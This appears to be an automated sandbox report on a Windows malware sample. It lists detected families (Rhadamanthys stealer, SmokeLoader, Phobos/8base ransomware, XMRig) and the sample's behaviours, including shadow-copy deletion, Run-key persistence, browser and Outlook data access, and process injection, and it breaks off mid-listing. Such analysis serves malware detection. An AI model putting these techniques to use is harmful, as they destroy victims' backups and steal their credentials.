Analysis
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max time kernel
146s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
16-09-2023 07:27
Static task
static1
Behavioral task
behavioral1
Sample
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe
Resource
win10v2004-20230915-en
General
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Target
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe
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Size
513KB
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MD5
89fe28686a81b90bf1f46b6d46251ce4
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SHA1
19f6a799b4777acf208926cee4913c0a889db72e
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SHA256
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f
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SHA512
9cb0181a6a9e6a37c10a6acf9c172fd4130f4d476b76c3b97acc71c157c3d8135f42d1f2a10bb87d07ecf784d30e705dc071b5630705e9f939127762795d0dfc
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SSDEEP
12288:pX5JC7oT39ra0hI1iGKsHJwUJ10qx6qhE12:pLC7mtThIcGNSS1VY31
Malware Config
Signatures
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Ammyy Admin
Remote admin tool with various capabilities.
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AmmyyAdmin payload 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\CDF9.tmp\svchost.exe family_ammyyadmin -
Detect rhadamanthys stealer shellcode 6 IoCs
Processes:
resource yara_rule behavioral1/memory/4124-14-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys behavioral1/memory/4124-15-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys behavioral1/memory/4124-16-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys behavioral1/memory/4124-17-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys behavioral1/memory/4124-27-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys behavioral1/memory/4124-29-0x0000000002950000-0x0000000002D50000-memory.dmp family_rhadamanthys -
Phobos
Phobos ransomware appeared at the beginning of 2019.
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Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
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SmokeLoader
Modular backdoor trojan in use since 2014.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exedescription pid process target process PID 4124 created 3164 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe Explorer.EXE -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 1484 bcdedit.exe 4476 bcdedit.exe -
Renames multiple (172) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/280-4385-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral1/memory/280-4406-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig -
Processes:
wbadmin.exepid process 2820 wbadmin.exe -
Downloads MZ/PE file
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Modifies Windows Firewall 1 TTPs 2 IoCs
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Drops startup file 1 IoCs
Processes:
zfnY6LF.exedescription ioc process File created \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\zfnY6LF.exe zfnY6LF.exe -
Executes dropped EXE 15 IoCs
Processes:
zfnY6LF.exezfnY6LF.exezfnY6LF.exezfnY6LF.exezfnY6LF.exekU9QW.exe%bP.exekU9QW.exe86EE.exe86EE.exe8912.exe86EE.exe86EE.exesvchost.exeevudusupid process 4524 zfnY6LF.exe 4408 zfnY6LF.exe 780 zfnY6LF.exe 5052 zfnY6LF.exe 3436 zfnY6LF.exe 4172 kU9QW.exe 4812 %bP.exe 4160 kU9QW.exe 2016 86EE.exe 1412 86EE.exe 1304 8912.exe 1508 86EE.exe 4824 86EE.exe 3152 svchost.exe 2232 evudusu -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
Processes:
certreq.exeexplorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
zfnY6LF.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\zfnY6LF = "C:\\Users\\Admin\\AppData\\Local\\zfnY6LF.exe" zfnY6LF.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\zfnY6LF = "C:\\Users\\Admin\\AppData\\Local\\zfnY6LF.exe" zfnY6LF.exe -
Drops desktop.ini file(s) 4 IoCs
Processes:
zfnY6LF.exedescription ioc process File opened for modification C:\$Recycle.Bin\S-1-5-21-3027552071-446050021-1254071215-1000\desktop.ini zfnY6LF.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-3027552071-446050021-1254071215-1000\desktop.ini zfnY6LF.exe File opened for modification C:\Program Files\desktop.ini zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI zfnY6LF.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exezfnY6LF.exezfnY6LF.exekU9QW.exe%bP.exeaspnet_compiler.exe86EE.exe86EE.exedescription pid process target process PID 3056 set thread context of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 4524 set thread context of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 780 set thread context of 3436 780 zfnY6LF.exe zfnY6LF.exe PID 4172 set thread context of 4160 4172 kU9QW.exe kU9QW.exe PID 4812 set thread context of 1116 4812 %bP.exe aspnet_compiler.exe PID 1116 set thread context of 280 1116 aspnet_compiler.exe AddInProcess.exe PID 2016 set thread context of 1412 2016 86EE.exe 86EE.exe PID 1508 set thread context of 4824 1508 86EE.exe 86EE.exe -
Drops file in Program Files directory 64 IoCs
Processes:
zfnY6LF.exedescription ioc process File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-core-kit.xml.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Client\api-ms-win-crt-runtime-l1-1-0.dll.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-180.png.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\ru.pak.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019R_Grace-ul-oob.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\license.html zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_Trial-ppd.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\7-Zip\Lang\sk.txt.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_zh_4.4.0.v20140623020002.jar zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_ja.jar zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\CSS7DATA0009.DLL zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable.nl_zh_4.4.0.v20140623020002.jar.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Trial-pl.xrm-ms zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial2-ppd.xrm-ms zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsptb.xml zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019VL_KMS_Client_AE-ul-oob.xrm-ms zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ONBttnIE.dll zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\sysinfo zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20131217-1203.jar zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Professional2019R_Trial-pl.xrm-ms zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTrial5-pl.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_COL.HXT.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.EventSource.dll zfnY6LF.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-math-l1-1-0.dll zfnY6LF.exe File created C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.16.xml.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.XLS zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Office16\MSWORD.OLB.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ExcelFloatieTextModel.bin zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\IEContentService.exe zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.contrast-black_scale-100.png.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaBrightDemiBold.ttf.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\about.html zfnY6LF.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\JavaAccessBridge-64.dll zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Client\api-ms-win-core-timezone-l1-1-0.dll.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-impl.xml.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365BusinessR_Grace-ppd.xrm-ms zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\bin\jhat.exe.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_zh_4.4.0.v20140623020002.jar zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\release zfnY6LF.exe File created C:\Program Files\7-Zip\Lang\mr.txt.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_Retail-ppd.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-180.png zfnY6LF.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\AccessVL_KMS_Client-ul.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription3-pl.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.contrast-white_scale-100.png.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\mscss7wre_en.dub zfnY6LF.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\bin\jstack.exe.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest1-ul-oob.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\EXPTOOWS.XLA zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr\default.jfc zfnY6LF.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_ja_4.4.0.v20140623020002.jar.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-attach.xml zfnY6LF.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\policytool.exe zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\OneNote\SendToOneNote-PipelineConfig.xml zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_Retail2-ul-oob.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File created C:\Program Files\Microsoft Office\root\Licenses16\Word2019VL_MAK_AE-pl.xrm-ms.id[D3DBDC61-3483].[[email protected]].8base zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-white_scale-80.png zfnY6LF.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\pl\msipc.dll.mui zfnY6LF.exe -
Checks SCSI registry key(s) 3 TTPs 7 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
vds.exekU9QW.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI kU9QW.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI kU9QW.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI kU9QW.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
certreq.exedescription ioc process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 certreq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString certreq.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 3780 vssadmin.exe -
Modifies registry class 2 IoCs
Processes:
Explorer.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.execertreq.exezfnY6LF.exezfnY6LF.exekU9QW.exe%bP.exeExplorer.EXEpid process 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 3368 certreq.exe 3368 certreq.exe 3368 certreq.exe 3368 certreq.exe 780 zfnY6LF.exe 780 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4160 kU9QW.exe 4160 kU9QW.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4812 %bP.exe 4812 %bP.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 4408 zfnY6LF.exe 3164 Explorer.EXE 3164 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3164 Explorer.EXE -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 672 -
Suspicious behavior: MapViewOfSection 33 IoCs
Processes:
kU9QW.exeExplorer.EXEexplorer.exepid process 4160 kU9QW.exe 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3164 Explorer.EXE 3948 explorer.exe 3948 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exezfnY6LF.exezfnY6LF.exezfnY6LF.exevssvc.exeWMIC.exewbengine.exekU9QW.exe%bP.exeaspnet_compiler.exeAddInProcess.exe86EE.exe86EE.exeExplorer.EXE8912.exedescription pid process Token: SeDebugPrivilege 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe Token: SeDebugPrivilege 4524 zfnY6LF.exe Token: SeDebugPrivilege 780 zfnY6LF.exe Token: SeDebugPrivilege 4408 zfnY6LF.exe Token: SeBackupPrivilege 3136 vssvc.exe Token: SeRestorePrivilege 3136 vssvc.exe Token: SeAuditPrivilege 3136 vssvc.exe Token: SeIncreaseQuotaPrivilege 3468 WMIC.exe Token: SeSecurityPrivilege 3468 WMIC.exe Token: SeTakeOwnershipPrivilege 3468 WMIC.exe Token: SeLoadDriverPrivilege 3468 WMIC.exe Token: SeSystemProfilePrivilege 3468 WMIC.exe Token: SeSystemtimePrivilege 3468 WMIC.exe Token: SeProfSingleProcessPrivilege 3468 WMIC.exe Token: SeIncBasePriorityPrivilege 3468 WMIC.exe Token: SeCreatePagefilePrivilege 3468 WMIC.exe Token: SeBackupPrivilege 3468 WMIC.exe Token: SeRestorePrivilege 3468 WMIC.exe Token: SeShutdownPrivilege 3468 WMIC.exe Token: SeDebugPrivilege 3468 WMIC.exe Token: SeSystemEnvironmentPrivilege 3468 WMIC.exe Token: SeRemoteShutdownPrivilege 3468 WMIC.exe Token: SeUndockPrivilege 3468 WMIC.exe Token: SeManageVolumePrivilege 3468 WMIC.exe Token: 33 3468 WMIC.exe Token: 34 3468 WMIC.exe Token: 35 3468 WMIC.exe Token: 36 3468 WMIC.exe Token: SeIncreaseQuotaPrivilege 3468 WMIC.exe Token: SeSecurityPrivilege 3468 WMIC.exe Token: SeTakeOwnershipPrivilege 3468 WMIC.exe Token: SeLoadDriverPrivilege 3468 WMIC.exe Token: SeSystemProfilePrivilege 3468 WMIC.exe Token: SeSystemtimePrivilege 3468 WMIC.exe Token: SeProfSingleProcessPrivilege 3468 WMIC.exe Token: SeIncBasePriorityPrivilege 3468 WMIC.exe Token: SeCreatePagefilePrivilege 3468 WMIC.exe Token: SeBackupPrivilege 3468 WMIC.exe Token: SeRestorePrivilege 3468 WMIC.exe Token: SeShutdownPrivilege 3468 WMIC.exe Token: SeDebugPrivilege 3468 WMIC.exe Token: SeSystemEnvironmentPrivilege 3468 WMIC.exe Token: SeRemoteShutdownPrivilege 3468 WMIC.exe Token: SeUndockPrivilege 3468 WMIC.exe Token: SeManageVolumePrivilege 3468 WMIC.exe Token: 33 3468 WMIC.exe Token: 34 3468 WMIC.exe Token: 35 3468 WMIC.exe Token: 36 3468 WMIC.exe Token: SeBackupPrivilege 4280 wbengine.exe Token: SeRestorePrivilege 4280 wbengine.exe Token: SeSecurityPrivilege 4280 wbengine.exe Token: SeDebugPrivilege 4172 kU9QW.exe Token: SeDebugPrivilege 4812 %bP.exe Token: SeDebugPrivilege 1116 aspnet_compiler.exe Token: SeLockMemoryPrivilege 280 AddInProcess.exe Token: SeLockMemoryPrivilege 280 AddInProcess.exe Token: SeDebugPrivilege 2016 86EE.exe Token: SeDebugPrivilege 1508 86EE.exe Token: SeShutdownPrivilege 3164 Explorer.EXE Token: SeCreatePagefilePrivilege 3164 Explorer.EXE Token: SeShutdownPrivilege 3164 Explorer.EXE Token: SeCreatePagefilePrivilege 3164 Explorer.EXE Token: SeDebugPrivilege 1304 8912.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
AddInProcess.exepid process 280 AddInProcess.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exezfnY6LF.exezfnY6LF.exezfnY6LF.execmd.execmd.exekU9QW.exe%bP.exedescription pid process target process PID 3056 wrote to memory of 3604 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 3604 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 3604 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 3056 wrote to memory of 4124 3056 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe PID 4124 wrote to memory of 3368 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe certreq.exe PID 4124 wrote to memory of 3368 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe certreq.exe PID 4124 wrote to memory of 3368 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe certreq.exe PID 4124 wrote to memory of 3368 4124 8e5f99b92349381fd772b1bdb18cce2c6595181fcad0f68de25593276d61620f.exe certreq.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory of 4408 4524 zfnY6LF.exe zfnY6LF.exe PID 4524 wrote to memory 